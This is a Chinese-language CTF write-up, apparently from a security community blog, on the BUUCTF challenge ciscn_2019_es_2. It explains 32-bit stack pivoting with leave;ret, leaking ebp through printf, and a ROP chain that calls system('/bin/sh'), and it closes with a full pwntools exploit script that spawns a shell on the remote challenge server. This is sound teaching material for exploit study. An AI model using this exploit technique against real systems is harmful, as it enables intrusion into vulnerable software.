32 位栈迁移 ROP

32 位栈迁移 ROP

话不多说,直接上题(BUUCTF)

32 位栈迁移 ROP-侠者安全社区

漏洞代码如下:

32 位栈迁移 ROP-侠者安全社区

缓冲区 s 能构成溢出,但是 ret 太小了构造不了完整的 ROP

32 位栈迁移 ROP-侠者安全社区

当缓冲区溢出空间不足以布置完整的 ROP 链时,利用栈迁移扩展攻击空间

在 32 位中关键指令是 leave; ret 主要用于 改变 ESP,让程序跳转到新的栈地址

因为 leaveesp 设为 ebp,并且 ebp 由我们控制,所以可以实现 栈迁移

mov ebp, new_stack_address  ; 控制 ebp
leave                       ; esp = ebp, pop ebp
ret                         ; 弹出新的返回地址并跳转

在 nop 处下断点调试

32 位栈迁移 ROP-侠者安全社区

ebp 距离我们的输入差 0x38,ebp – 0x38 就拿到了我们参数 s 在栈上的位置

32 位栈迁移 ROP-侠者安全社区

由于我们要用到 leave;ret 来劫持栈,所以先找一下 levae;ret 的位置

32 位栈迁移 ROP-侠者安全社区

32 位栈迁移 ROP-侠者安全社区

可以看到执行 leave 后,ebp 已经是我们修改的了

但是 esp 还不是,因为 pop ebp 和 esp 没有关系

但是如果这时候我再执行一次 leave,那么我们不是就可以 mov esp,ebp,把 ebp 的值赋值给 esp,那么我们就修改 esp 了

这也是为什么返回地址要改成 leave_ret 指令

32 位栈迁移 ROP-侠者安全社区

32 位栈迁移 ROP-侠者安全社区

可以看到,这时候 ret 指令还没执行,而且 esp 已经指向我们 system 的地址了

有些人注意到了,system 地址之前有四个 a,而且我们一开始想要让他修改成的地址就是 0xff83c1b0

为什么现在 esp 变成了0xff83c1b4,因为 leave 相当于 mov esp,ebp 和 pop ebp 两条指令

mov 执行完,esp 变成 0xff83c1b0,然后 pop 执行完,esp 变成 0xff83c1b4,ebp 变成了 0x61616161,也就是四个 a

32 位栈迁移 ROP-侠者安全社区

32 位栈迁移 ROP-侠者安全社区

printf() 函数在输出的时候遇到 \0 会停止

如果我们将参数 s 全部填满,这样就没法在末尾补上 \0,那样就会将 ebp 连带着输出

payload= b'a' * 0x27 + b'b'

r.sendline(payload)
r.recvuntil('b')

ebp = u32(r.recv(4))

第一个 'aaaa' 随便输入,如果一开始将 system 函数写第一个

那么我们在用 leave;ret 劫持栈的时候要抬高 4 字节

接着跟上 system 函数的地址

后面是执行完 system 函数后的返回地址,这边也可以随便写

之后这个地址指向的是我们写在栈上的 '/bin/sh' 字符串

payload = b'aaaa' + p32(sys) + p32(0) + p32(ebp - 0x28) + b"/bin/sh"

将 payload 补齐长度

payload = payload.ljust(0x28,'\x00')

栈劫持,获取 shell

payload += p32(ebp - 0x38) + p32(leave_ret)
from pwn import *

p = remote('node5.buuoj.cn',28813)
elf = ELF('./ciscn_2019_es_2')
leave_ret = 0x08048562

p.recvline()

payload1 = b'a' * 0x25 + b'b'* 3

p.send(payload1)
p.recvuntil('abbb')

ebp = u32(p.recv(4))

payload2 = b'a' * 0x4 + p32(elf.plt['system']) + p32(0) + p32(ebp - 0x28) + b"/bin/sh"
payload2 = payload2.ljust(0x28, b'\x00')

# p32(ebp - 0x38):覆盖栈上的 ebp,调整栈指针,使其指向 payload2 的起始位置
# p32(leave_ret):执行 leave; ret,完成栈迁移,进入 ROP 执行
payload2 += p32(ebp - 0x38) + p32(leave_ret)

p.sendline(payload2)
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容